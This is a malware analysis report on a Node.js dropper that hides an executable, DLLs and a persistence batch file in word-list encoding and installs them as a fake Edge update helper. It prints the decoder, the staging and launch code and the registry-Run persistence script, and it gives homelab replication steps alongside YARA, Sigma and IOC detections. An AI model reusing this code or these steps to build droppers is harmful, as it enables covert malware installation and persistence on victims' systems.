bf5c69a56fc70007f898f34ecc1395c3766069af5592da2eaf69c02ece396982letsdiskusscom: bf5c69a5 — Update_1.js, twenty-second confirmed sibling
Executive Summary
Twenty-second confirmed sibling of the letsdiskusscom Node.js dropper cluster. Filename Update_1.js suggests early build-counter wave (counter value 1). Numbered-suffix poem vocabulary (gentle1, hush2, etc.) persists. Same signed Revo EXE and two vcruntime DLLs as all twenty-one prior siblings; introduces a twenty-second distinct msvcp140.dll morph (1,124,352 bytes). Static-only (CAPE skipped — JS source not a supported binary class).
What It Is
- Filename:
Update_1.js^[metadata.json] - Size: 9,265,120 bytes (9.3 MB) ^[file.txt]
- Format: JavaScript source, ASCII text, CRLF line terminators, 60 lines with extremely long lines (up to ~63,365 chars) ^[file.txt] ^[exiftool.json]
- Family:
letsdiskusscom— high-confidence cluster sibling ^[entities/letsdiskusscom.md] - Staging directory:
%ProgramData%\Microsoft Edge Updates Helper M9vpjZOcWDna^[strings.txt:5]
How It Works
The carrier is a Node.js script that decodes five embedded payloads from a 256-word English poem lookup-table using numbered-suffix vocabulary obfuscation. See poem-word-list-steganography for the full technique breakdown.
Decoding function (lines 18-25): ^[strings.txt:18-25]
function writePositionsToFile(listA, listB, outPath) {
const a = listA.split(' ');
const b = listB.split(' ');
const positions = b.map(word => {
const idx = a.indexOf(word);
return idx >= 0 ? idx : 0;
const buffer = Buffer.from(positions.map(p => p & 0xFF));
fs.writeFileSync(outPath, buffer);
}
Word list: 256 words, 256 unique. Numbered suffixes (gentle1 through fail164) appended after the first complete poem cycle to defeat naive deduplication. ^[strings.txt:6]
Decoded payloads
| File | Size | SHA-256 | Notes |
|---|---|---|---|
Microsoft Edge Updates Helper.exe |
52,400 | 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f |
Same signed RevoSrp.exe as all 21 prior siblings |
msvcp140.dll |
1,124,352 | 179e8ba0832cb1ce1509990cbbd37dbe0c8d546bd321bd48c3e7b1ed5c127143 |
22nd distinct morph in cluster; MSVC 14.x build from d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\msvcp140.amd64.pdb |
vcruntime140.dll |
101,672 | ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833 |
Same as all prior siblings |
vcruntime140_1.dll |
44,328 | 7b8f70dd3bdae110e61823d1ca6fd8955a5617119f5405cdd6b14cad3656dfc7 |
Same as all prior siblings |
M9vpjZOcWDna.bat |
440 | dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 |
Same BAT persistence script as all prior siblings |
Staging and execution
const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData", `Microsoft Edge Updates Helper M9vpjZOcWDna`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "M9vpjZOcWDna.bat");
const dll1Path = path.join(folder, "msvcp140.dll");
const dll2Path = path.join(folder, "vcruntime140.dll");
const dll3Path = path.join(folder, "vcruntime140_1.dll");
const dll4Path = path.join(folder, "M9vpjZOcWDna.bat")
safeMakeDir(folder);
writePositionsToFile(wlist, exe, exePath);
writePositionsToFile(wlist, dll1, dll1Path);
writePositionsToFile(wlist, dll2, dll2Path);
writePositionsToFile(wlist, dll3, dll3Path);
writePositionsToFile(wlist, bat, autorunPath);
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);
^[strings.txt:12-41]
The script creates the staging directory, writes all five files, then spawns the BAT with the EXE path as an argument, and immediately spawns the EXE directly. The BAT adds the EXE to the HKCU\Run registry key for persistence. ^[strings.txt:11]
Persistence BAT (decoded)
@echo off
if "%~1"=="" (
echo Usage: %~nx0 "file_path"
pause
exit /b 1
if not exist "%~1" (
echo Error: file "%~1" not found
pause
exit /b 1
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft Edge Updates Helper" /t REG_SZ /d "\"%~1\"" /f >nul 2>&1
if %errorlevel% equ 0 (
echo File "%~1" successfully added to startup
) else (
echo Error adding to startup
^[decoded BAT from JS source]
Decompiled Behavior
Not applicable — this is a plaintext Node.js script, not a compiled PE. No Ghidra or radare2 decompilation required. The entire logic is visible in strings.txt (which is the script source itself). ^[file.txt]
C2 Infrastructure
No C2 observed. The dropper is self-contained; the malicious act is the deceptive delivery, silent execution, and registry persistence of a signed binary masquerading as a browser update helper. No network imports or hardcoded URLs in the carrier. ^[strings.txt]
Interesting Tidbits
- Filename pattern:
Update_1.jsis the lowest build-counter value observed in the cluster (previous values:_3,_5,_11,_12,_13,_14,_15,_16,_17,_18,_19,_22,_25, and plainUpdate.js). Suggests this sample is from an early build wave or a fresh builder reset. ^[prior sibling filenames from entities/letsdiskusscom.md] - Duplicate
dll4Path: The script redundantly assignsdll4Path = path.join(folder, "M9vpjZOcWDna.bat")after already definingautorunPathto the same value. This is a builder template artefact — the variable is never used. ^[strings.txt:17] - No
javascript-obfuscator: Unlike the first sibling (9dc2cded), this sample uses only the poem-word-list steganography with no additional obfuscation layer. The builder has converged on a single encoding scheme. ^[entities/letsdiskusscom.md] - 22nd msvcp140 morph: The
msvcp140.dllis 1,124,352 bytes (SHA-256179e8ba0...), larger than the 21st morph (077c6dc7..., 1,012,224 bytes) but smaller than the 17th morph (012212f9..., 1,248,256 bytes). The builder is rotating through every available MSVC redistributable version rather than reusing one.
How To Mess With It (Homelab Replication)
- Encode any PE using the 256-word poem lookup-table (see poem-word-list-steganography reproduction section).
- Wrap it in a Node.js script using the
writePositionsToFilepattern above. - Add a BAT that calls
reg add HKCU\...\Run. - Verify: the resulting
.jsshould be ~9 MB, contain ~60 lines, and decode back to the original PE byte-for-byte.
Deployable Signatures
YARA rule
rule Letsdiskusscom_NodeJS_Poem_Stego {
meta:
description = "Node.js poem-word-list steganography dropper (letsdiskusscom cluster)"
author = "PacketPursuit"
reference = "/intel/analyses/bf5c69a56fc70007f898f34ecc1395c3766069af5592da2eaf69c02ece396982.html"
strings:
$a = "const wlist = \"gentle hush that wraps the midnight" ascii
$b = "function writePositionsToFile(listA, listB, outPath)" ascii
$c = "Microsoft Edge Updates Helper" ascii
$d = "fs.writeFileSync(outPath, buffer);" ascii
$e = "process.env.PROGRAMDATA" ascii
condition:
filesize > 1MB and
3 of them
}
Sigma rule
title: Letsdiskusscom Node.js Dropper Execution
logsource:
product: windows
category: process_creation
detection:
selection:
CommandLine|contains|all:
- 'node.exe'
- 'Update_'
- '.js'
selection2:
CommandLine|contains:
- 'Microsoft Edge Updates Helper'
- 'M9vpjZOcWDna'
condition: selection or selection2
falsepositives:
- Unlikely
level: high
IOC list
| Indicator | Value | Type |
|---|---|---|
| SHA-256 (carrier) | bf5c69a56fc70007f898f34ecc1395c3766069af5592da2eaf69c02ece396982 |
File |
| SHA-256 (embedded EXE) | 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f |
File |
| SHA-256 (embedded BAT) | dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 |
File |
| SHA-256 (msvcp140.dll) | 179e8ba0832cb1ce1509990cbbd37dbe0c8d546bd321bd48c3e7b1ed5c127143 |
File |
| Registry key | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper |
Persistence |
| Staging path | %ProgramData%\Microsoft Edge Updates Helper * |
Directory |
Behavioral fingerprint
A Node.js script (Update_*.js) runs under node.exe, creates a %ProgramData%\Microsoft Edge Updates Helper <random> directory, writes five files (EXE, three DLLs, BAT), spawns the BAT (which adds the EXE to HKCU Run), then spawns the EXE directly. The carrier script is 7–10 MB and contains extremely long lines of space-separated English words. No network activity from the carrier.
Detection Signatures
| capa / static | ATT&CK | Technique |
|---|---|---|
fs.writeFileSync + child_process.spawn |
T1059.007 | JavaScript execution |
| Poem-word-list encoding | T1027.002 | Obfuscated Files or Info |
Microsoft Edge Updates Helper directory |
T1036.005 | Masquerading |
reg add HKCU\...\Run via BAT |
T1547.001 | Registry Run Keys |
child_process.spawn(..., { shell: true }) |
T1543.003 | Create/modify system process |
References
- Entity page: letsdiskusscom
- Technique page: poem-word-list-steganography
- Procedure page: registry-run-persistence
- Concept page: natural-language-payload-encoding
- Prior sibling:
4c57911f992d(Update_15.js) — /intel/analyses/4c57911f992d2760d089820ec5a73be433aa4f91a656f241b7fc980c98b0ba8e.html
Provenance
- Carrier:
bf5c69a56fc70007f898f34ecc1395c3766069af5592da2eaf69c02ece396982.bin(MalwareBazaar via OpenCTI) - Decoded payloads extracted from JS source using Python
re+indexOfmapping (same algorithm as runtime decoder) - Tool versions:
file5.45,exiftool12.76, Python 3.12